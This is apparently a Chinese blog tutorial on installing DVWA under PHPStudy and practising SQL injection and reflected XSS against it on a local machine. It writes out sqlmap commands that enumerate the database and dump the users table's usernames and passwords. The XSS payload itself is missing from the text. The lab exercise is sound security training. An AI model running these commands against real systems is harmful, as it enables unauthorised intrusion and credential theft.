热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

配置PHPStudy环境并使用DVWA进行Web安全测试

本文详细介绍了如何在PHPStudy环境下配置DVWA(DamnVulnerableWebApplication),并利用该平台进行SQL注入和XSS攻击的练习。通过此过程,读者可以熟悉常见的Web漏洞及其利用方法。
配置PHPStudy环境

首先访问PHPStudy官方网站下载并安装PHPStudy。安装完成后,从DVWA官网下载DVWA压缩包,并将其解压到PHPStudy安装目录下的WWW文件夹中。将解压后的文件夹重命名为DVWA

接下来,进入DVWA/config目录,找到并编辑config.inc.php文件。根据需要填写Google reCAPTCHA的公钥和私钥:

$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

若无reCAPTCHA需求,可留空。

然后,打开PHPStudy安装目录下的Extensions/php/php7.3.4nts目录,编辑php.ini文件,搜索并确保以下设置已启用:allow_url_fopen = Onextension=mysqli。保存并退出。

启动PHPStudy服务后,在浏览器中访问http://127.0.0.1/DVWA/setup.php完成初始化设置,使用默认账号admin/password登录。

SQL注入练习

为进行SQL注入测试,需先安装SQLMap工具。请前往SQLMap官网下载并安装最新版本,同时确保Python环境已正确配置。

登录DVWA后选择SQL Injection模块,使用浏览器开发者工具(F12)捕获请求中的COOKIE信息。接着,在命令行中切换至SQLMap目录,执行如下命令以检测数据库:

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" --dbs

确认目标数据库为dvwa后,继续爆破表名:

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" -D dvwa --tables

确定感兴趣的表为users,进一步获取列名:

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" -D dvwa -T users --columns

最后,提取userpassword字段的数据:

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" -D dvwa -T users -C user,password --dump

通过上述步骤,您可以成功检索出用户账户及其密码。

XSS攻击练习

调整DVWA的安全级别至最低(Low)。在XSS (Reflected)模块中输入任意字符串并提交,观察页面返回内容是否与输入一致。由于GET参数未经过滤,输入恶意脚本代码(如)后,页面会弹出警告框,表明存在反射型XSS漏洞。


推荐阅读
  • 优化ListView性能
    本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ... [详细]
  • 本文将介绍如何编写一些有趣的VBScript脚本,这些脚本可以在朋友之间进行无害的恶作剧。通过简单的代码示例,帮助您了解VBScript的基本语法和功能。 ... [详细]
  • 本文详细介绍了如何解决Uploadify插件在Internet Explorer(IE)9和10版本中遇到的点击失效及JQuery运行时错误问题。通过修改相关JavaScript代码,确保上传功能在不同浏览器环境中的一致性和稳定性。 ... [详细]
  • Linux 系统启动故障排除指南:MBR 和 GRUB 问题
    本文详细介绍了 Linux 系统启动过程中常见的 MBR 扇区和 GRUB 引导程序故障及其解决方案,涵盖从备份、模拟故障到恢复的具体步骤。 ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 本文详细介绍了如何在Linux系统上安装和配置Smokeping,以实现对网络链路质量的实时监控。通过详细的步骤和必要的依赖包安装,确保用户能够顺利完成部署并优化其网络性能监控。 ... [详细]
  • PHP 5.2.5 安装与配置指南
    本文详细介绍了 PHP 5.2.5 的安装和配置步骤,帮助开发者解决常见的环境配置问题,特别是上传图片时遇到的错误。通过本教程,您可以顺利搭建并优化 PHP 运行环境。 ... [详细]
  • PHP 编程疑难解析与知识点汇总
    本文详细解答了 PHP 编程中的常见问题,并提供了丰富的代码示例和解决方案,帮助开发者更好地理解和应用 PHP 知识。 ... [详细]
  • PyCharm下载与安装指南
    本文详细介绍如何从官方渠道下载并安装PyCharm集成开发环境(IDE),涵盖Windows、macOS和Linux系统,同时提供详细的安装步骤及配置建议。 ... [详细]
  • 本文详细介绍如何使用Python进行配置文件的读写操作,涵盖常见的配置文件格式(如INI、JSON、TOML和YAML),并提供具体的代码示例。 ... [详细]
  • 技术分享:从动态网站提取站点密钥的解决方案
    本文探讨了如何从动态网站中提取站点密钥,特别是针对验证码(reCAPTCHA)的处理方法。通过结合Selenium和requests库,提供了详细的代码示例和优化建议。 ... [详细]
  • 本文介绍了如何利用JavaScript或jQuery来判断网页中的文本框是否处于焦点状态,以及如何检测鼠标是否悬停在指定的HTML元素上。 ... [详细]
  • 本文详细介绍了如何使用PHP检测AJAX请求,通过分析预定义服务器变量来判断请求是否来自XMLHttpRequest。此方法简单实用,适用于各种Web开发场景。 ... [详细]
  • 导航栏样式练习:项目实例解析
    本文详细介绍了如何创建一个具有动态效果的导航栏,包括HTML、CSS和JavaScript代码的实现,并附有详细的说明和效果图。 ... [详细]
  • 深入理解Tornado模板系统
    本文详细介绍了Tornado框架中模板系统的使用方法。Tornado自带的轻量级、高效且灵活的模板语言位于tornado.template模块,支持嵌入Python代码片段,帮助开发者快速构建动态网页。 ... [详细]
author-avatar
宁波南诚装饰_886
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有